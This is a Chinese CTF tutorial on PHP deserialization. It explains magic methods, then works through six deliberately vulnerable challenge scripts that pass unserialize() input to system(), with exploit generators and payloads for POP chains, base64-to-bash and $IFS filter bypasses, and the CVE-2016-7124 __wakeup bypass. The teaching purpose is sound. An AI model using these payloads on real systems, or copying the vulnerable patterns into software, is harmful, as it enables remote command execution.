news 2026/4/23 10:34:06

PHP反序列化基础详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化基础详解

PHP反序列化基础

标题首先明白什么是反序列化和序列化

序列化是将对象转换为可存储或传输的字符串形式,而反序列化则是将这些字符串重新还原为对象。这一机制在PHP中被广泛应用于数据存储、缓存和远程通信等场景。

PHP序列化和反序列函数讲解

PHP提供了serialize()和unserialize()两个函数用于序列化和反序列化操作。serialize()将对象转换为字符串,而unserialize()将字符串还原为对象。序列化字符串的结构包含对象的类名、属性和值等信息。

PHP 魔法函数(Magic Methods)

PHP 中的魔法函数(Magic Methods)是一组特殊的方法,以双下划线(__)开头,用于在特定情况下自动触发。这些方法允许开发者自定义对象的行为,例如属性访问、方法调用、对象序列化等。
常用魔法函数列表
__construct()
在对象实例化时自动调用,常用于初始化操作。

classExample{publicfunction__construct(){echo"对象已创建";}}$obj=newExample();// 输出 "对象已创建"

__destruct()
在对象销毁时自动调用,常用于资源释放。

classExample{publicfunction__destruct(){echo"对象已销毁";}}$obj=newExample();unset($obj);// 输出 "对象已销毁"

__get($name)
在访问未定义或不可访问的属性时触发。

classExample{private$data=[];publicfunction__get($name){return$this->data[$name]??null;}}$obj=newExample();echo$obj->nonExistentProperty;// 触发 __get

__set($name, $value)
在给未定义或不可访问的属性赋值时触发。

classExample{private$data=[];publicfunction__set($name,$value){$this->data[$name]=$value;}}$obj=newExample();$obj->nonExistentProperty="value";// 触发 __set

__call($name, $arguments)
在调用未定义或不可访问的方法时触发。

classExample{publicfunction__call($name,$arguments){echo"调用了未定义的方法:$name";}}$obj=newExample();$obj->nonExistentMethod();// 触发 __call

__toString()
在对象被当作字符串使用时触发(如 echo)。

classExample{publicfunction__toString(){return"这是一个对象";}}$obj=newExample();echo$obj;// 输出 "这是一个对象"

__invoke()
在对象被当作函数调用时触发。

classExample{publicfunction__invoke(){echo"对象被作为函数调用";}}$obj=newExample();$obj();// 输出 "对象被作为函数调用"

__sleep() 和 __wakeup()
在对象序列化(serialize())和反序列化(unserialize())时触发。

classExample{publicfunction__sleep(){return['property'];// 指定序列化的属性}publicfunction__wakeup(){$this->property="恢复后的值";}}

__clone()
在对象被克隆时触发。

classExample{publicfunction__clone(){echo"对象已被克隆";}}$obj1=newExample();$obj2=clone$obj1;// 输出 "对象已被克隆"

例题讲解

第一题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classSimpleVuln{public$command="echo 'Hello World'";publicfunction__destruct(){echo"执行命令: ".$this->command."<br>";system($this->command);}}if(isset($_GET['data'])){$data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($data)."<br>";$obj=unserialize($data);echo"反序列化完成";}?>

可以观察到SimpleVuln类在对象销毁时调用__destruct魔术方法里面有system函数执行了command变量里面的命令
漏洞利用脚本
我们把SimpleVuln类里的command 设置成我们cmd要执行的命令如cat flag.txt触发__destruct方法执行system(“cat flag.txt”)

<?phpclassSimpleVuln{public$command="cat flag.txt";}$vuln=newSimpleVuln;echoserialize($vuln);?>

payload:

O:10:“SimpleVuln”:1:{s:7:“command”;s:12:“cat flag.txt”;}

第二题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classVulnerable{private$command;publicfunction__construct($c){$this->command=$c;}publicfunction__destruct(){$filter_pattern='/php|;|cat|more|less|tail|head|cp|mv|rm|\s|flag/i';if(preg_match($filter_pattern,$this->command)){die("Hacker! WAF blocked your command!");}system($this->command);}}if(isset($_GET['data'])){$data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($data)."<br>";$obj=unserialize($data);echo"反序列化完成";}?>

我们可以看到第二题加入了一些命令执行的过滤的措施我们无法直接执行命令我们可以使用base64的方式绕过,先得出cat flag的base64代码

我们可以用echo Y2F0IGZsYWcudHh0Cg==|base64 -d|bash来执行这条代码,这条代码的意思是解析这段base64代码并且当做命令来执行cat flag.txt,Y2F0IGZsYWcudHh0Cg==是cat flag.txt的base64编码
漏洞利用脚本

<?phpclassVulnerable{private$command='echo$IFS$9Y2F0IGZsYWcudHh0Cg==|base64$IFS$9-d|bash';}$vuln=newVulnerable;echo(urlencode(serialize($vuln)))?>

paylaod(PHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0)

O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A19%3A%22%00Vulnerable%00command%22%3Bs%3A50%3A%22echo%24IFS%249Y2F0IGZsYWcudHh0Cg%3D%3D%7Cbase64%24IFS%249-d%7Cbash%22%3B%7D

第三题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classLogger{private$log;publicfunction__toString(){system($this->log);return"Logged";}}classVulnerable{private$command;publicfunction__construct($c){$this->command=$c;}publicfunction__destruct(){echo$this->command;}}if(isset($_GET['data'])){$data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($data)."<br>";$obj=unserialize($data);echo"反序列化完成";}?>

我们可以看到__toString魔术方法里有system($this->log);函数可以利用,__toString触发条件是 在对象被当作字符串使用时触发(如代码里的echo $this->command)如果Vulnerable类里的command是一个Logger就会触发__toString然后执行system函数
漏洞利用脚本

<?phpclassLogger{private$log="cat flag.txt";}classVulnerable{private$command;publicfunction__construct($c){$this->command=$c;}}$logger=newLogger;$Vuln=newVulnerable($logger);$ser=serialize($Vuln);echo(urlencode($ser));?>

payload(PHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0)
O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A19%3A%22%00Vulnerable%00command%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A11%3A%22%00Logger%00log%22%3Bs%3A12%3A%22cat+flag.txt%22%3B%7D%7D

第四题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classDatabase{protected$query;publicfunction__destruct(){// 真实的漏洞点:这里执行系统命令system($this->query);// 这就是攻击目标!}}classCache{private$data;publicfunction__wakeup(){// 触发点:这里会反序列化数据unserialize($this->data);}}// 真实的用户输入接收if(isset($_GET['data'])){$input_data=$_GET['data'];echo"接收到的数据: ".htmlspecialchars($input_data)."<br>";// 核心漏洞点:反序列化用户输入$obj=unserialize($input_data);echo"反序列化完成!";}?>

这里我们注意到其实这道题反序列化的两次
第一次是接收到我们用户的输入后obj = unserialize($input_data);这条代码
第二次反序列化是在 __wakeup()魔法函数的位置,漏洞利用点在Database类的__destruct魔法函数里的system代码
思路

先改Database 里的query为要执行的命令,序列化Database,将序列化的字符串传入Cache类的data变量中,再次序列化Cache。
反序列化顺序->Cache类->反序列化Cache类的data部分->Database类->执行system函数。
解题代码

<?phpclassDatabase{protected$query;publicfunction__construct($cmd){$this->query=$cmd;}}classCache{private$data;publicfunction__construct($data){$this->data=$data;}}$database=newDatabase("cat flag.txt");$dataser=serialize($database);$Cache=newCache($database);$ser=serialize($Cache);echo(urlencode($ser))?>

payload(PHP反序列化中只要有保护和私密属性就必须用URL编码再传参因为有空字符\0):
O%3A5%3A%22Cache%22%3A1%3A%7Bs%3A11%3A%22%00Cache%00data%22%3BO%3A8%3A%22Database%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bs%3A12%3A%22cat+flag.txt%22%3B%7D%7D

第五题

<?phpheader('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classA{public$obj;publicfunction__wakeup(){$this->obj->func();}}classB{public$cmd;publicfunction__call($name,$args){$filter='/ls|cat|flag|\/etc|system|exec|passthru/i';if(preg_match($filter,$this->cmd)){die("命令被过滤!");}system($this->cmd);}}if(isset($_GET['payload'])){unserialize($_GET['payload']);}else{echo"请传入payload参数";}?>

我们发现在class B中利用正则对命令执行进行了限制,我们可以考虑base64绕过,然后漏洞函数是出现在call这个魔术方法中,触发__call的条件是在调用未定义或不可访问的方法时触发。我们看到在class A中变量obj指向的func方法在B中不存在就会触发call这个魔术方法执行system函数
思路将classA的obj赋值为class B,$this->class B->func();,因为class B中没有func函数就会调用class B的call魔法函数执行system命令
漏洞利用脚本

<?phpclassA{public$obj;}classB{public$cmd;}$a=newA;$b=newB;$a->obj=$b;$b->cmd="echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash";$ser=serialize($a);echo($ser)?>

payload
O:1:“A”:1:{s:3:“obj”;O:1:“B”:1:{s:3:“cmd”;s:40:“echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash”;}}

第六题

header('Content-Type: text/html; charset=utf-8');error_reporting(0);highlight_file(__FILE__);classtricksbucket{public$wakeup=False;publicfunction__destruct(){if($this->wakeup===False){echo"You are in";if(isset($_GET['url'])){$url=$_GET['url'];if(strpos($url,"flag")===false||strpos($url,'base64')!==false||strpos($url,'http')!==false){exit("no flag , no base , no http");}$contents=file_get_contents($_GET['url']);if(strpos($contents,"flag")!==false){exit("contents has flag");}if($contents==="get"){include('flag.php');echo$flag;//echo "flag{***}";}}}else{exit("No~ you disturb me");}}publicfunction__wakeup(){$this->wakeup=True;}}if(isset($_GET['exp'])){unserialize($_GET['exp']);}else{highlight_file("hint.php");}

我们分析一下代码,我们首先要让wakeup保持False只有这样才能进入__destruct()的漏洞分支
但是有个问题PHP反序列化默认会调用__wakeup(),导致$wakeup被设为True。
绕过方法:
•方法1:利用PHP对C:序列化格式不调用__wakeup()的特性。
•方法2:利用CVE-2016-7124(修改属性数量,欺骗PHP不调用__wakeup())。
还有URL参数处理逻辑必须包含flag,不能包含base64,不能包含http,内容必须等于"get":contents===“get”
C:格式的标准结构
C:<类名长度>:“<类名>”:<数据长度>:{<序列化数据>}
对于 C:12:“tricksbucket”:0:{}
•C:- 格式标识
•12:- 类名"tricksbucket"的长度(12个字符)
•“tricksbucket”- 类名
•0:- 自定义数据的长度(0字节)
•{}- 空的数据内容
漏洞利用
方法1:利用PHP对C:序列化格式不调用__wakeup()的特性。
exp=C:12:“tricksbucket”:0:{}
方法2:CVE-2016-7124绕过

<?phpclasstricksbucket{public$wakeup=False;}$a=newtricksbucket;echo(serialize($a));?>

生成payload O:12:“tricksbucket”:1:{s:6:“wakeup”;b:0;}更改属性数量为2得出
exp=O:12:“tricksbucket”:2:{s:6:“wakeup”;b:0;}
URL构造
为什么这样写?
•data:URI绕过http/base64检查。
•x=flag满足strpos($url, “flag”) !== false。
•,get确保file_get_contents()返回"get"。
完整的payload
?exp=O:12:“tricksbucket”:2:{s:6:“wakeup”;b:0;}&url=data:text/plain;x=flag,get
或者
?exp=C:12:“tricksbucket”:0:{}&url=data:text/plain;x=flag,get
获取flag两种方式
利用PHP对C:序列化格式不调用__wakeup()的特性。
CVE-2016-7124绕过

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 13:34:11

IndexTTS2情感控制升级!微PE环境下实测效果震撼

IndexTTS2情感控制升级&#xff01;微PE环境下实测效果震撼 在AI语音合成技术快速演进的今天&#xff0c;情感表达能力已成为衡量TTS系统成熟度的关键指标。最新发布的IndexTTS2 V23版本&#xff0c;在情感建模与部署灵活性上实现了双重突破——不仅支持细粒度的情感注入&…

作者头像 李华
网站建设 2026/4/18 16:33:58

小白也能懂的AnimeGANv2:5步完成照片动漫化

小白也能懂的AnimeGANv2&#xff1a;5步完成照片动漫化 1. 引言&#xff1a;让每一张照片都拥有二次元灵魂 在AI技术飞速发展的今天&#xff0c;风格迁移&#xff08;Style Transfer&#xff09; 已不再是科研实验室里的专属概念。借助深度学习模型&#xff0c;普通人也能轻松…

作者头像 李华
网站建设 2026/4/18 7:37:41

MediaPipe Holistic快速上手:5分钟搭建全息感知系统

MediaPipe Holistic快速上手&#xff1a;5分钟搭建全息感知系统 1. 引言 1.1 AI 全身全息感知的兴起 随着虚拟现实、数字人和元宇宙应用的快速发展&#xff0c;对全维度人体行为理解的需求日益增长。传统方案往往需要分别部署人脸、手势和姿态模型&#xff0c;带来高延迟、难…

作者头像 李华
网站建设 2026/4/23 0:12:40

AHN-Mamba2:Qwen2.5长文本建模新引擎

AHN-Mamba2&#xff1a;Qwen2.5长文本建模新引擎 【免费下载链接】AHN-Mamba2-for-Qwen-2.5-Instruct-7B 项目地址: https://ai.gitcode.com/hf_mirrors/ByteDance-Seed/AHN-Mamba2-for-Qwen-2.5-Instruct-7B 导语&#xff1a;字节跳动推出AHN-Mamba2技术&#xff0c;为…

作者头像 李华
网站建设 2026/4/23 11:28:28

Cursor Free VIP终极指南:零成本解锁AI编程高级特权

Cursor Free VIP终极指南&#xff1a;零成本解锁AI编程高级特权 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youve reached your trial…

作者头像 李华
网站建设 2026/4/23 6:55:43

STM32启动异常排查:借助STLink日志分析

STM32启动异常&#xff1f;别急着换板子&#xff01;一招STLink日志分析教你精准定位你有没有遇到过这样的场景&#xff1a;新打的PCB回来&#xff0c;兴冲冲接上ST-Link准备烧录程序&#xff0c;结果STM32CubeProgrammer弹出一句“Cannot connect to target”&#xff1f;反复…

作者头像 李华